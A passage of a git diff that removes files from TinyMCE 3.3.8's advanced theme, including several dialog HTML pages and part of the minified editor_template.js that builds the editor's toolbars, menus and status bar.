false;">{#advanced_dlg.about_help}</a></span></li> - <li id="plugins_tab"><span><a href="javascript:mcTabs.displayTab('plugins_tab','plugins_panel');" onmousedown="return false;">{#advanced_dlg.about_plugins}</a></span></li> - </ul> - </div> - - <div class="panel_wrapper"> - <div id="general_panel" class="panel current"> - <h3>{#advanced_dlg.about_title}</h3> - <p>Version: <span id="version"></span> (<span id="date"></span>)</p> - <p>TinyMCE is a platform independent web based Javascript HTML WYSIWYG editor control released as Open Source under <a href="../../license.txt" target="_blank">LGPL</a> - by Moxiecode Systems AB. It has the ability to convert HTML TEXTAREA fields or other HTML elements to editor instances.</p> - <p>Copyright &copy; 2003-2008, <a href="http://www.moxiecode.com" target="_blank">Moxiecode Systems AB</a>, All rights reserved.</p> - <p>For more information about this software visit the <a href="http://tinymce.moxiecode.com" target="_blank">TinyMCE website</a>.</p> - - <div id="buttoncontainer"> - <a href="http://www.moxiecode.com" target="_blank"><img src="http://tinymce.moxiecode.com/images/gotmoxie.png" alt="Got Moxie?" border="0" /></a> - <a href="http://sourceforge.net/projects/tinymce/" target="_blank"><img src="http://sourceforge.net/sflogo.php?group_id=103281" alt="Hosted By Sourceforge" border="0" /></a> - <a href="http://www.freshmeat.net/projects/tinymce" target="_blank"><img src="http://tinymce.moxiecode.com/images/fm.gif" alt="Also on freshmeat" border="0" /></a> - </div> - </div> - - <div id="plugins_panel" class="panel"> - <div id="pluginscontainer"> - <h3>{#advanced_dlg.about_loaded}</h3> - - <div id="plugintablecontainer"> - </div> - - <p>&nbsp;</p> - </div> - </div> - - <div id="help_panel" class="panel noscroll" style="overflow: visible;"> - <div id="iframecontainer"></div> - </div> - </div> - - <div class="mceActionPanel"> - <input type="button" id="cancel" name="cancel" value="{#close}" onclick="tinyMCEPopup.close();" /> - </div> -</body> -</html> diff --git a/tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/anchor.htm b/tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/anchor.htm deleted file mode 100644 index 2bc63fc..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/anchor.htm +++ /dev/null @@ -1,26 +0,0 @@ -<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> -<html xmlns="http://www.w3.org/1999/xhtml"> -<head> - <title>{#advanced_dlg.anchor_title}</title> - <script type="text/javascript" src="../../tiny_mce_popup.js"></script> - <script type="text/javascript" src="js/anchor.js"></script> -</head> -<body style="display: none"> -<form onsubmit="AnchorDialog.update();return false;" action="#"> - <table border="0" cellpadding="4" cellspacing="0"> - <tr> - <td colspan="2" class="title">{#advanced_dlg.anchor_title}</td> - </tr> - <tr> - <td class="nowrap">{#advanced_dlg.anchor_name}:</td> - <td><input name="anchorName" type="text" class="mceFocus" id="anchorName" value="" style="width: 200px" /></td> - </tr> - </table> - - <div class="mceActionPanel"> - <input type="submit" id="insert" name="insert" value="{#update}" /> - <input type="button" id="cancel" name="cancel" value="{#cancel}" onclick="tinyMCEPopup.close();" /> - </div> -</form> -</body> -</html> diff --git a/tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/charmap.htm b/tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/charmap.htm deleted file mode 100644 index 3991b81..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/charmap.htm +++ /dev/null @@ -1,52 +0,0 @@ -<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> -<html xmlns="http://www.w3.org/1999/xhtml"> -<head> - <title>{#advanced_dlg.charmap_title}</title> - <script type="text/javascript" src="../../tiny_mce_popup.js"></script> - <script type="text/javascript" src="js/charmap.js"></script> -</head> -<body id="charmap" style="display:none"> -<table align="center" border="0" cellspacing="0" cellpadding="2"> - <tr> - <td colspan="2" class="title">{#advanced_dlg.charmap_title}</td> - </tr> - <tr> - <td id="charmapView" rowspan="2" align="left" valign="top"> - <!-- Chars will be rendered here --> - </td> - <td width="100" align="center" valign="top"> - <table border="0" cellpadding="0" cellspacing="0" width="100" style="height:100px"> - <tr> - <td id="codeV">&nbsp;</td> - </tr> - <tr> - <td id="codeN">&nbsp;</td> - </tr> - </table> - </td> - </tr> - <tr> - <td valign="bottom" style="padding-bottom: 3px;"> - <table width="100" align="center" border="0" cellpadding="2" cellspacing="0"> - <tr> - <td align="center" style="border-left: 1px solid #666699; border-top: 1px solid #666699; border-right: 1px solid #666699;">HTML-Code</td> - </tr> - <tr> - <td style="font-size: 16px; font-weight: bold; border-left: 1px solid #666699; border-bottom: 1px solid #666699; border-right: 1px solid #666699;" id="codeA" align="center">&nbsp;</td> - </tr> - <tr> - <td style="font-size: 1px;">&nbsp;</td> - </tr> - <tr> - <td align="center" style="border-left: 1px solid #666699; border-top: 1px solid #666699; border-right: 1px solid #666699;">NUM-Code</td> - </tr> - <tr> - <td style="font-size: 16px; font-weight: bold; border-left: 1px solid #666699; border-bottom: 1px solid #666699; border-right: 1px solid #666699;" id="codeB" align="center">&nbsp;</td> - </tr> - </table> - </td> - </tr> -</table> - -</body> -</html> diff --git a/tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/color_picker.htm b/tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/color_picker.htm deleted file mode 100644 index 096e755..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/color_picker.htm +++ /dev/null @@ -1,73 +0,0 @@ -<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> -<html xmlns="http://www.w3.org/1999/xhtml"> -<head> - <title>{#advanced_dlg.colorpicker_title}</title> - <script type="text/javascript" src="../../tiny_mce_popup.js"></script> - <script type="text/javascript" src="../../utils/mctabs.js"></script> - <script type="text/javascript" src="js/color_picker.js"></script> -</head> -<body id="colorpicker" style="display: none"> -<form onsubmit="insertAction();return false" action="#"> - <div class="tabs"> - <ul> - <li id="picker_tab" class="current"><span><a href="javascript:mcTabs.displayTab('picker_tab','picker_panel');" onmousedown="return false;">{#advanced_dlg.colorpicker_picker_tab}</a></span></li> - <li id="rgb_tab"><span><a href="javascript:;" onclick="generateWebColors();mcTabs.displayTab('rgb_tab','rgb_panel');" onmousedown="return false;">{#advanced_dlg.colorpicker_palette_tab}</a></span></li> - <li id="named_tab"><span><a href="javascript:;" onclick="generateNamedColors();javascript:mcTabs.displayTab('named_tab','named_panel');" onmousedown="return false;">{#advanced_dlg.colorpicker_named_tab}</a></span></li> - </ul> - </div> - - <div class="panel_wrapper"> - <div id="picker_panel" class="panel current"> - <fieldset> - <legend>{#advanced_dlg.colorpicker_picker_title}</legend> - <div id="picker"> - <img id="colors" src="img/colorpicker.jpg" onclick="computeColor(event)" onmousedown="isMouseDown = true;return false;" onmouseup="isMouseDown = false;" onmousemove="if (isMouseDown && isMouseOver) computeColor(event); return false;" onmouseover="isMouseOver=true;" onmouseout="isMouseOver=false;" alt="" /> - - <div id="light"> - <!-- Will be filled with divs --> - </div> - - <br style="clear: both" /> - </div> - </fieldset> - </div> - - <div id="rgb_panel" class="panel"> - <fieldset> - <legend>{#advanced_dlg.colorpicker_palette_title}</legend> - <div id="webcolors"> - <!-- Gets filled with web safe colors--> - </div> - - <br style="clear: both" /> - </fieldset> - </div> - - <div id="named_panel" class="panel"> - <fieldset> - <legend>{#advanced_dlg.colorpicker_named_title}</legend> - <div id="namedcolors"> - <!-- Gets filled with named colors--> - </div> - - <br style="clear: both" /> - - <div id="colornamecontainer"> - {#advanced_dlg.colorpicker_name} <span id="colorname"></span> - </div> - </fieldset> - </div> - </div> - - <div class="mceActionPanel"> - <input type="submit" id="insert" name="insert" value="{#apply}" /> - - <div id="preview"></div> - - <div id="previewblock"> - <label for="color">{#advanced_dlg.colorpicker_color}</label> <input id="color" type="text" size="8" maxlength="8" class="text mceFocus" /> - </div> - </div> -</form> -</body> -</html> diff --git a/tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/editor_template.js b/tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/editor_template.js deleted file mode 100644 index 4c43312..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/editor_template.js +++ /dev/null @@ -1 +0,0 @@ -(function(e){var d=e.DOM,b=e.dom.Event,h=e.extend,f=e.each,a=e.util.Cookie,g,c=e.explode;e.ThemeManager.requireLangPack("advanced");e.create("tinymce.themes.AdvancedTheme",{sizes:[8,10,12,14,18,24,36],controls:{bold:["bold_desc","Bold"],italic:["italic_desc","Italic"],underline:["underline_desc","Underline"],strikethrough:["striketrough_desc","Strikethrough"],justifyleft:["justifyleft_desc","JustifyLeft"],justifycenter:["justifycenter_desc","JustifyCenter"],justifyright:["justifyright_desc","JustifyRight"],justifyfull:["justifyfull_desc","JustifyFull"],bullist:["bullist_desc","InsertUnorderedList"],numlist:["numlist_desc","InsertOrderedList"],outdent:["outdent_desc","Outdent"],indent:["indent_desc","Indent"],cut:["cut_desc","Cut"],copy:["copy_desc","Copy"],paste:["paste_desc","Paste"],undo:["undo_desc","Undo"],redo:["redo_desc","Redo"],link:["link_desc","mceLink"],unlink:["unlink_desc","unlink"],image:["image_desc","mceImage"],cleanup:["cleanup_desc","mceCleanup"],help:["help_desc","mceHelp"],code:["code_desc","mceCodeEditor"],hr:["hr_desc","InsertHorizontalRule"],removeformat:["removeformat_desc","RemoveFormat"],sub:["sub_desc","subscript"],sup:["sup_desc","superscript"],forecolor:["forecolor_desc","ForeColor"],forecolorpicker:["forecolor_desc","mceForeColor"],backcolor:["backcolor_desc","HiliteColor"],backcolorpicker:["backcolor_desc","mceBackColor"],charmap:["charmap_desc","mceCharMap"],visualaid:["visualaid_desc","mceToggleVisualAid"],anchor:["anchor_desc","mceInsertAnchor"],newdocument:["newdocument_desc","mceNewDocument"],blockquote:["blockquote_desc","mceBlockQuote"]},stateControls:["bold","italic","underline","strikethrough","bullist","numlist","justifyleft","justifycenter","justifyright","justifyfull","sub","sup","blockquote"],init:function(j,k){var l=this,m,i,n;l.editor=j;l.url=k;l.onResolveName=new e.util.Dispatcher(this);l.settings=m=h({theme_advanced_path:true,theme_advanced_toolbar_location:"bottom",theme_advanced_buttons1:"bold,italic,underline,strikethrough,|,justifyleft,justifycenter,justifyright,justifyfull,|,styleselect,formatselect",theme_advanced_buttons2:"bullist,numlist,|,outdent,indent,|,undo,redo,|,link,unlink,anchor,image,cleanup,help,code",theme_advanced_buttons3:"hr,removeformat,visualaid,|,sub,sup,|,charmap",theme_advanced_blockformats:"p,address,pre,h1,h2,h3,h4,h5,h6",theme_advanced_toolbar_align:"center",theme_advanced_fonts:"Andale Mono=andale mono,times;Arial=arial,helvetica,sans-serif;Arial Black=arial black,avant garde;Book Antiqua=book antiqua,palatino;Comic Sans MS=comic sans ms,sans-serif;Courier New=courier new,courier;Georgia=georgia,palatino;Helvetica=helvetica;Impact=impact,chicago;Symbol=symbol;Tahoma=tahoma,arial,helvetica,sans-serif;Terminal=terminal,monaco;Times New Roman=times new roman,times;Trebuchet MS=trebuchet ms,geneva;Verdana=verdana,geneva;Webdings=webdings;Wingdings=wingdings,zapf dingbats",theme_advanced_more_colors:1,theme_advanced_row_height:23,theme_advanced_resize_horizontal:1,theme_advanced_resizing_use_cookie:1,theme_advanced_font_sizes:"1,2,3,4,5,6,7",readonly:j.settings.readonly},j.settings);if(!m.font_size_style_values){m.font_size_style_values="8pt,10pt,12pt,14pt,18pt,24pt,36pt"}if(e.is(m.theme_advanced_font_sizes,"string")){m.font_size_style_values=e.explode(m.font_size_style_values);m.font_size_classes=e.explode(m.font_size_classes||"");n={};j.settings.theme_advanced_font_sizes=m.theme_advanced_font_sizes;f(j.getParam("theme_advanced_font_sizes","","hash"),function(q,p){var o;if(p==q&&q>=1&&q<=7){p=q+" ("+l.sizes[q-1]+"pt)";o=m.font_size_classes[q-1];q=m.font_size_style_values[q-1]||(l.sizes[q-1]+"pt")}if(/^\s*\./.test(q)){o=q.replace(/\./g,"")}n[p]=o?{"class":o}:{fontSize:q}});m.theme_advanced_font_sizes=n}if((i=m.theme_advanced_path_location)&&i!="none"){m.theme_advanced_statusbar_location=m.theme_advanced_path_location}if(m.theme_advanced_statusbar_location=="none"){m.theme_advanced_statusbar_location=0}j.onInit.add(function(){if(!j.settings.readonly){j.onNodeChange.add(l._nodeChanged,l)}if(j.settings.content_css!==false){j.dom.loadCSS(j.baseURI.toAbsolute("themes/advanced/skins/"+j.settings.skin+"/content.css"))}});j.onSetProgressState.add(function(q,o,r){var s,t=q.id,p;if(o){l.progressTimer=setTimeout(function(){s=q.getContainer();s=s.insertBefore(d.create("DIV",{style:"position:relative"}),s.firstChild);p=d.get(q.id+"_tbl");d.add(s,"div",{id:t+"_blocker","class":"mceBlocker",style:{width:p.clientWidth+2,height:p.clientHeight+2}});d.add(s,"div",{id:t+"_progress","class":"mceProgress",style:{left:p.clientWidth/2,top:p.clientHeight/2}})},r||0)}else{d.remove(t+"_blocker");d.remove(t+"_progress");clearTimeout(l.progressTimer)}});d.loadCSS(m.editor_css?j.documentBaseURI.toAbsolute(m.editor_css):k+"/skins/"+j.settings.skin+"/ui.css");if(m.skin_variant){d.loadCSS(k+"/skins/"+j.settings.skin+"/ui_"+m.skin_variant+".css")}},createControl:function(l,i){var j,k;if(k=i.createControl(l)){return k}switch(l){case"styleselect":return this._createStyleSelect();case"formatselect":return this._createBlockFormats();case"fontselect":return this._createFontSelect();case"fontsizeselect":return this._createFontSizeSelect();case"forecolor":return this._createForeColorMenu();case"backcolor":return this._createBackColorMenu()}if((j=this.controls[l])){return i.createButton(l,{title:"advanced."+j[0],cmd:j[1],ui:j[2],value:j[3]})}},execCommand:function(k,j,l){var i=this["_"+k];if(i){i.call(this,j,l);return true}return false},_importClasses:function(k){var i=this.editor,j=i.controlManager.get("styleselect");if(j.getLength()==0){f(i.dom.getClasses(),function(n,l){var m="style_"+l;i.formatter.register(m,{inline:"span",attributes:{"class":n["class"]},selector:"*"});j.add(n["class"],m)})}},_createStyleSelect:function(m){var k=this,i=k.editor,j=i.controlManager,l;l=j.createListBox("styleselect",{title:"advanced.style_select",onselect:function(o){var p,n=[];f(l.items,function(q){n.push(q.value)});i.focus();i.undoManager.add();p=i.formatter.matchAll(n);if(!o||p[0]==o){i.formatter.remove(p[0])}else{i.formatter.apply(o)}i.undoManager.add();i.nodeChanged();return false}});i.onInit.add(function(){var o=0,n=i.getParam("style_formats");if(n){f(n,function(p){var q,r=0;f(p,function(){r++});if(r>1){q=p.name=p.name||"style_"+(o++);i.formatter.register(q,p);l.add(p.title,q)}else{l.add(p.title)}})}else{f(i.getParam("theme_advanced_styles","","hash"),function(r,q){var p;if(r){p="style_"+(o++);i.formatter.register(p,{inline:"span",classes:r,selector:"*"});l.add(k.editor.translate(q),p)}})}});if(l.getLength()==0){l.onPostRender.add(function(o,p){if(!l.NativeListBox){b.add(p.id+"_text","focus",k._importClasses,k);b.add(p.id+"_text","mousedown",k._importClasses,k);b.add(p.id+"_open","focus",k._importClasses,k);b.add(p.id+"_open","mousedown",k._importClasses,k)}else{b.add(p.id,"focus",k._importClasses,k)}})}return l},_createFontSelect:function(){var k,j=this,i=j.editor;k=i.controlManager.createListBox("fontselect",{title:"advanced.fontdefault",onselect:function(l){var m=k.items[k.selectedIndex];if(!l&&m){i.execCommand("FontName",false,m.value);return}i.execCommand("FontName",false,l);k.select(function(n){return l==n});return false}});if(k){f(i.getParam("theme_advanced_fonts",j.settings.theme_advanced_fonts,"hash"),function(m,l){k.add(i.translate(l),m,{style:m.indexOf("dings")==-1?"font-family:"+m:""})})}return k},_createFontSizeSelect:function(){var m=this,k=m.editor,n,l=0,j=[];n=k.controlManager.createListBox("fontsizeselect",{title:"advanced.font_size",onselect:function(i){var o=n.items[n.selectedIndex];if(!i&&o){o=o.value;if(o["class"]){k.formatter.toggle("fontsize_class",{value:o["class"]});k.undoManager.add();k.nodeChanged()}else{k.execCommand("FontSize",false,o.fontSize)}return}if(i["class"]){k.focus();k.undoManager.add();k.formatter.toggle("fontsize_class",{value:i["class"]});k.undoManager.add();k.nodeChanged()}else{k.execCommand("FontSize",false,i.fontSize)}n.select(function(p){return i==p});return false}});if(n){f(m.settings.theme_advanced_font_sizes,function(o,i){var p=o.fontSize;if(p>=1&&p<=7){p=m.sizes[parseInt(p)-1]+"pt"}n.add(i,o,{style:"font-size:"+p,"class":"mceFontSize"+(l++)+(" "+(o["class"]||""))})})}return n},_createBlockFormats:function(){var k,i={p:"advanced.paragraph",address:"advanced.address",pre:"advanced.pre",h1:"advanced.h1",h2:"advanced.h2",h3:"advanced.h3",h4:"advanced.h4",h5:"advanced.h5",h6:"advanced.h6",div:"advanced.div",blockquote:"advanced.blockquote",code:"advanced.code",dt:"advanced.dt",dd:"advanced.dd",samp:"advanced.samp"},j=this;k=j.editor.controlManager.createListBox("formatselect",{title:"advanced.block",cmd:"FormatBlock"});if(k){f(j.editor.getParam("theme_advanced_blockformats",j.settings.theme_advanced_blockformats,"hash"),function(m,l){k.add(j.editor.translate(l!=m?l:i[m]),m,{"class":"mce_formatPreview mce_"+m})})}return k},_createForeColorMenu:function(){var m,j=this,k=j.settings,l={},i;if(k.theme_advanced_more_colors){l.more_colors_func=function(){j._mceColorPicker(0,{color:m.value,func:function(n){m.setColor(n)}})}}if(i=k.theme_advanced_text_colors){l.colors=i}if(k.theme_advanced_default_foreground_color){l.default_color=k.theme_advanced_default_foreground_color}l.title="advanced.forecolor_desc";l.cmd="ForeColor";l.scope=this;m=j.editor.controlManager.createColorSplitButton("forecolor",l);return m},_createBackColorMenu:function(){var m,j=this,k=j.settings,l={},i;if(k.theme_advanced_more_colors){l.more_colors_func=function(){j._mceColorPicker(0,{color:m.value,func:function(n){m.setColor(n)}})}}if(i=k.theme_advanced_background_colors){l.colors=i}if(k.theme_advanced_default_background_color){l.default_color=k.theme_advanced_default_background_color}l.title="advanced.backcolor_desc";l.cmd="HiliteColor";l.scope=this;m=j.editor.controlManager.createColorSplitButton("backcolor",l);return m},renderUI:function(k){var m,l,q,v=this,r=v.editor,w=v.settings,u,j,i;m=j=d.create("span",{id:r.id+"_parent","class":"mceEditor "+r.settings.skin+"Skin"+(w.skin_variant?" "+r.settings.skin+"Skin"+v._ufirst(w.skin_variant):"")});if(!d.boxModel){m=d.add(m,"div",{"class":"mceOldBoxModel"})}m=u=d.add(m,"table",{id:r.id+"_tbl","class":"mceLayout",cellSpacing:0,cellPadding:0});m=q=d.add(m,"tbody");switch((w.theme_advanced_layout_manager||"").toLowerCase()){case"rowlayout":l=v._rowLayout(w,q,k);break;case"customlayout":l=r.execCallback("theme_advanced_custom_layout",w,q,k,j);break;default:l=v._simpleLayout(w,q,k,j)}m=k.targetNode;i=d.stdMode?u.getElementsByTagName("tr"):u.rows;d.addClass(i[0],"mceFirst");d.addClass(i[i.length-1],"mceLast");f(d.select("tr",q),function(o){d.addClass(o.firstChild,"mceFirst");d.addClass(o.childNodes[o.childNodes.length-1],"mceLast")});if(d.get(w.theme_advanced_toolbar_container)){d.get(w.theme_advanced_toolbar_container).appendChild(j)}else{d.insertAfter(j,m)}b.add(r.id+"_path_row","click",function(n){n=n.target;if(n.nodeName=="A"){v._sel(n.className.replace(/^.*mcePath_([0-9]+).*$/,"$1"));return b.cancel(n)}});if(!r.getParam("accessibility_focus")){b.add(d.add(j,"a",{href:"#"},"<!-- IE -->"),"focus",function(){tinyMCE.get(r.id).focus()})}if(w.theme_advanced_toolbar_location=="external"){k.deltaHeight=0}v.deltaHeight=k.deltaHeight;k.targetNode=null;return{iframeContainer:l,editorContainer:r.id+"_parent",sizeContainer:u,deltaHeight:k.deltaHeight}},getInfo:function(){return{longname:"Advanced theme",author:"Moxiecode Systems AB",authorurl:"http://tinymce.moxiecode.com",version:e.majorVersion+"."+e.minorVersion}},resizeBy:function(i,j){var k=d.get(this.editor.id+"_tbl");this.resizeTo(k.clientWidth+i,k.clientHeight+j)},resizeTo:function(i,l){var j=this.editor,k=this.settings,m=d.get(j.id+"_tbl"),n=d.get(j.id+"_ifr");i=Math.max(k.theme_advanced_resizing_min_width||100,i);l=Math.max(k.theme_advanced_resizing_min_height||100,l);i=Math.min(k.theme_advanced_resizing_max_width||65535,i);l=Math.min(k.theme_advanced_resizing_max_height||65535,l);d.setStyle(m,"height","");d.setStyle(n,"height",l);if(k.theme_advanced_resize_horizontal){d.setStyle(m,"width","");d.setStyle(n,"width",i);if(i<m.clientWidth){d.setStyle(n,"width",m.clientWidth)}}},destroy:function(){var i=this.editor.id;b.clear(i+"_resize");b.clear(i+"_path_row");b.clear(i+"_external_close")},_simpleLayout:function(y,r,k,i){var x=this,u=x.editor,v=y.theme_advanced_toolbar_location,m=y.theme_advanced_statusbar_location,l,j,q,w;if(y.readonly){l=d.add(r,"tr");l=j=d.add(l,"td",{"class":"mceIframeContainer"});return j}if(v=="top"){x._addToolbars(r,k)}if(v=="external"){l=w=d.create("div",{style:"position:relative"});l=d.add(l,"div",{id:u.id+"_external","class":"mceExternalToolbar"});d.add(l,"a",{id:u.id+"_external_close",href:"javascript:;","class":"mceExternalClose"});l=d.add(l,"table",{id:u.id+"_tblext",cellSpacing:0,cellPadding:0});q=d.add(l,"tbody");if(i.firstChild.className=="mceOldBoxModel"){i.firstChild.appendChild(w)}else{i.insertBefore(w,i.firstChild)}x._addToolbars(q,k);u.onMouseUp.add(function(){var o=d.get(u.id+"_external");d.show(o);d.hide(g);var n=b.add(u.id+"_external_close","click",function(){d.hide(u.id+"_external");b.remove(u.id+"_external_close","click",n)});d.show(o);d.setStyle(o,"top",0-d.getRect(u.id+"_tblext").h-1);d.hide(o);d.show(o);o.style.filter="";g=u.id+"_external";o=null})}if(m=="top"){x._addStatusBar(r,k)}if(!y.theme_advanced_toolbar_container){l=d.add(r,"tr");l=j=d.add(l,"td",{"class":"mceIframeContainer"})}if(v=="bottom"){x._addToolbars(r,k)}if(m=="bottom"){x._addStatusBar(r,k)}return j},_rowLayout:function(w,m,k){var v=this,p=v.editor,u,x,i=p.controlManager,l,j,r,q;u=w.theme_advanced_containers_default_class||"";x=w.theme_advanced_containers_default_align||"center";f(c(w.theme_advanced_containers||""),function(s,o){var n=w["theme_advanced_container_"+s]||"";switch(n.toLowerCase()){case"mceeditor":l=d.add(m,"tr");l=j=d.add(l,"td",{"class":"mceIframeContainer"});break;case"mceelementpath":v._addStatusBar(m,k);break;default:q=(w["theme_advanced_container_"+s+"_align"]||x).toLowerCase();q="mce"+v._ufirst(q);l=d.add(d.add(m,"tr"),"td",{"class":"mceToolbar "+(w["theme_advanced_container_"+s+"_class"]||u)+" "+q||x});r=i.createToolbar("toolbar"+o);v._addControls(n,r);d.setHTML(l,r.renderHTML());k.deltaHeight-=w.theme_advanced_row_height}});return j},_addControls:function(j,i){var k=this,l=k.settings,m,n=k.editor.controlManager;if(l.theme_advanced_disable&&!k._disabled){m={};f(c(l.theme_advanced_disable),function(o){m[o]=1});k._disabled=m}else{m=k._disabled}f(c(j),function(p){var o;if(m&&m[p]){return}if(p=="tablecontrols"){f(["table","|","row_props","cell_props","|","row_before","row_after","delete_row","|","col_before","col_after","delete_col","|","split_cells","merge_cells"],function(q){q=k.createControl(q,n);if(q){i.add(q)}});return}o=k.createControl(p,n);if(o){i.add(o)}})},_addToolbars:function(w,k){var z=this,p,m,r=z.editor,A=z.settings,y,j=r.controlManager,u,l,q=[],x;x=A.theme_advanced_toolbar_align.toLowerCase();x="mce"+z._ufirst(x);l=d.add(d.add(w,"tr"),"td",{"class":"mceToolbar "+x});if(!r.getParam("accessibility_focus")){q.push(d.createHTML("a",{href:"#",onfocus:"tinyMCE.get('"+r.id+"').focus();"},"<!-- IE -->"))}q.push(d.createHTML("a",{href:"#",accesskey:"q",title:r.getLang("advanced.toolbar_focus")},"<!-- IE -->"));for(p=1;(y=A["theme_advanced_buttons"+p]);p++){m=j.createToolbar("toolbar"+p,{"class":"mceToolbarRow"+p});if(A["theme_advanced_buttons"+p+"_add"]){y+=","+A["theme_advanced_buttons"+p+"_add"]}if(A["theme_advanced_buttons"+p+"_add_before"]){y=A["theme_advanced_buttons"+p+"_add_before"]+","+y}z._addControls(y,m);q.push(m.renderHTML());k.deltaHeight-=A.theme_advanced_row_height}q.push(d.createHTML("a",{href:"#",accesskey:"z",title:r.getLang("advanced.toolbar_focus"),onfocus:"tinyMCE.getInstanceById('"+r.id+"').focus();"},"<!-- IE -->"));d.setHTML(l,q.join(""))},_addStatusBar:function(m,j){var k,v=this,p=v.editor,w=v.settings,i,q,u,l;k=d.add(m,"tr");k=l=d.add(k,"td",{"class":"mceStatusbar"});k=d.add(k,"div",{id:p.id+"_path_row"},w.theme_advanced_path?p.translate("advanced.path")+": ":"&#160;");d.add(k,"a",{href:"#",accesskey:"x"});if(w.theme_advanced_resizing){d.add(l,"a",{id:p.id+"_resize",href:"javascript:;",onclick:"return false;","class":"mceResize"});if(w.theme_advanced_resizing_use_cookie){p.onPostRender.add(function(){var n=a.getHash("TinyMCE_"+p.id+"_size"),r=d.get(p.id+"_tbl");if(!n){return}v.resizeTo(n.cw,n.ch)})}p.onPostRender.add(function(){b.add(p.id+"_resize","mousedown",function(D){var t,r,s,o,C,z,A,F,n,E,x;function y(G){n=A+(G.screenX-C);E=F+(G.screenY-z);v.resizeTo(n,E)}function B(G){b.remove(d.doc,"mousemove",t);b.remove(p.getDoc(),"mousemove",r);b.remove(d.doc,"mouseup",s);b.remove(p.getDoc(),"mouseup",o);if(w.theme_advanced_resizing_use_cookie){a.setHash("TinyMCE_"+p.id+"_size",{cw:n,ch:E})}}D.preventDefault();C=D.screenX;z=D.screenY;x=d.get(v.editor.id+"_ifr");A=n=x.clientWidth;F=E=x.clientHeight;t=b.add(d.doc,"mousemove",y);r=b.add(p.getDoc(),"mousemove",y);s=b.add(d.doc,"mouseup",B);o=b.add(p.getDoc(),"mouseup",B)})})}j.deltaHeight-=21;k=m=null},_nodeChanged:function(r,z,l,x,j){var C=this,i,y=0,B,u,D=C.settings,A,k,w,m,q;e.each(C.stateControls,function(n){z.setActive(n,r.queryCommandState(C.controls[n][1]))});function o(p){var s,n=j.parents,t=p;if(typeof(p)=="string"){t=function(v){return v.nodeName==p}}for(s=0;s<n.length;s++){if(t(n[s])){return n[s]}}}z.setActive("visualaid",r.hasVisual);z.setDisabled("undo",!r.undoManager.hasUndo()&&!r.typing);z.setDisabled("redo",!r.undoManager.hasRedo());z.setDisabled("outdent",!r.queryCommandState("Outdent"));i=o("A");if(u=z.get("link")){if(!i||!i.name){u.setDisabled(!i&&x);u.setActive(!!i)}}if(u=z.get("unlink")){u.setDisabled(!i&&x);u.setActive(!!i&&!i.name)}if(u=z.get("anchor")){u.setActive(!!i&&i.name)}i=o("IMG");if(u=z.get("image")){u.setActive(!!i&&l.className.indexOf("mceItem")==-1)}if(u=z.get("styleselect")){C._importClasses();m=[];f(u.items,function(n){m.push(n.value)});q=r.formatter.matchAll(m);u.select(q[0])}if(u=z.get("formatselect")){i=o(d.isBlock);if(i){u.select(i.nodeName.toLowerCase())}}o(function(p){if(p.nodeName==="SPAN"){if(!A&&p.className){A=p.className}if(!k&&p.style.fontSize){k=p.style.fontSize}if(!w&&p.style.fontFamily){w=p.style.fontFamily.replace(/[\"\']+/g,"").replace(/^([^,]+).*/,"$1").toLowerCase()}}return false});if(u=z.get("fontselect")){u.select(function(n){return n.replace(/^([^,]+).*/,"$1").toLowerCase()==w})}if(u=z.get("fontsizeselect")){if(D.theme_advanced_runtime_fontsize&&!k&&!A){k=r.dom.getStyle(l,"fontSize",true)}u.select(function(n){if(n.fontSize&&n.fontSize===k){return true}if(n["class"]&&n["class"]===A){return true}})}if(D.theme_advanced_path&&D.theme_advanced_statusbar_location){i=d.get(r.id+"_path")||d.add(r.id+"_path_row","span",{id:r.id+"_path"});d.setHTML(i,"");o(function(E){var p=E.nodeName.toLowerCase(),s,v,t="";if(E.nodeType!=1||E.nodeName==="BR"||(d.hasClass(E,"mceItemHidden")||d.hasClass(E,"mceItemRemoved"))){return}if(B=d.getAttrib(E,"mce_name")){p=B}if(e.isIE&&E.scopeName!=="HTML"){p=E.scopeName+":"+p}p=p.replace(/mce\:/g,"");switch(p){case"b":p="strong";break;case"i":p="em";break;case"img":if(B=d.getAttrib(E,"src")){t+="src: "+B+" "}break;case"a":if(B=d.getAttrib(E,"name")){t+="name: "+B+" ";p+="#"+B}if(B=d.getAttrib(E,"href")){t+="href: "+B+" "}break;case"font":if(B=d.getAttrib(E,"face")){t+="font: "+B+" "}if(B=d.getAttrib(E,"size")){t+="size: "+B+" "}if(B=d.getAttrib(E,"color")){t+="color: "+B+" "}break;case"span":if(B=d.getAttrib(E,"style")){t+="style: "+B+" "}break}if(B=d.getAttrib(E,"id")){t+="id: "+B+" "}if(B=E.className){B=B.replace(/\b\s*(webkit|mce|Apple-)\w+\s*\b/g,"");if(B){t+="class: "+B+" ";if(d.isBlock(E)||p=="img"||p=="span"){p+="."+B}}}p=p.replace(/(html:)/g,"");p={name:p,node:E,title:t};C.onResolveName.dispatch(C,p);t=p.title;p=p.name;v=d.create("a",{href:"javascript:;",onmousedown:"return false;",title:t,"class":"mcePath_"+(y++)},p);if(i.hasChildNodes()){i.insertBefore(d.doc.createTextNode(" \u00bb "),i.firstChild);i.insertBefore(v,i.firstChild)}else{i.appendChild(v)}},r.getBody())}},_sel:function(i){this.editor.execCommand("mceSelectNodeDepth",false,i)},_mceInsertAnchor:function(k,j){var 